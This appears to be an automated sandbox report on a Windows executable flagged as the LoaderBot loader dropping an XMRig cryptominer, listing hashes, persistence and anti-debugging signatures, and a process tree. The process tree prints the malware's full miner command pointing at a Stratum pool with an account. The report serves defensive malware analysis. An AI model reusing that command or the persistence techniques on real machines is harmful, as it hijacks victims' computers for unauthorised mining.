Analysis
-
max time kernel
187s -
max time network
186s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
21-06-2022 00:15
General
-
Target
31266b2b81192e3794cbbc3340545f10d57c4a327814cfdff35c1560de352c2e.exe
-
Size
2.7MB
-
MD5
5af6f9cfc9e093a49b9120cfa4ad66f3
-
SHA1
75dab6481ac8d41fdb02d1c88bdc0636b68accea
-
SHA256
31266b2b81192e3794cbbc3340545f10d57c4a327814cfdff35c1560de352c2e
-
SHA512
8340c80b61c18b06b3c8ae02b9e96df99ae77a40634679490ee0b7a6a597d73659808c66d64fe63aa3f48de52b9689519684ae27ab2cc668d6a26fbde32b4348
Malware Config
Signatures
-
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Detected Stratum cryptominer command 1 IoCs
Looks to be attempting to contact Stratum mining pool.
-
LoaderBot executable 4 IoCs
-
XMRig Miner Payload 2 IoCs
-
Executes dropped EXE 1 IoCs
-
Cryptocurrency Miner
Makes network request to known mining pool URL.
-
Drops startup file 1 IoCs
-
Loads dropped DLL 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\31266b2b81192e3794cbbc3340545f10d57c4a327814cfdff35c1560de352c2e.exe"C:\Users\Admin\AppData\Local\Temp\31266b2b81192e3794cbbc3340545f10d57c4a327814cfdff35c1560de352c2e.exe"1⤵
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o stratum+tcp://xmr.pool.minergate.com:45700 -u [email protected] -p x -k -v=0 --donate-level=1 -t 12⤵
- Detected Stratum cryptominer command
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.5MB
MD5cf36d20a96903fb4d0e92eb4fe873ab8
SHA1c789a22bd215bfc2a698fda1295f295745f34d35
SHA256d38ee5052fa13de8b3db050fe84fb89e7946446e2cd5b826fbd31792e406aae2
SHA512d117cecf9ef9d1f2aab1bd80f6947872c8cc8e18a36ce41f1cb25b1fac008e9c5fae7f0f0093f78835b3967582f7556fd626fd8c8c1fa32d41359ef0206e9535
-
Filesize
3.5MB
MD5cf36d20a96903fb4d0e92eb4fe873ab8
SHA1c789a22bd215bfc2a698fda1295f295745f34d35
SHA256d38ee5052fa13de8b3db050fe84fb89e7946446e2cd5b826fbd31792e406aae2
SHA512d117cecf9ef9d1f2aab1bd80f6947872c8cc8e18a36ce41f1cb25b1fac008e9c5fae7f0f0093f78835b3967582f7556fd626fd8c8c1fa32d41359ef0206e9535
-
Filesize
16KB
-
Filesize
4.7MB
-
Filesize
64KB
-
Filesize
4.7MB
-
Filesize
7.1MB
-
Filesize
8KB
-
Filesize
4.7MB
-
Filesize
8KB
-
Filesize
7.1MB
-
Filesize
4.7MB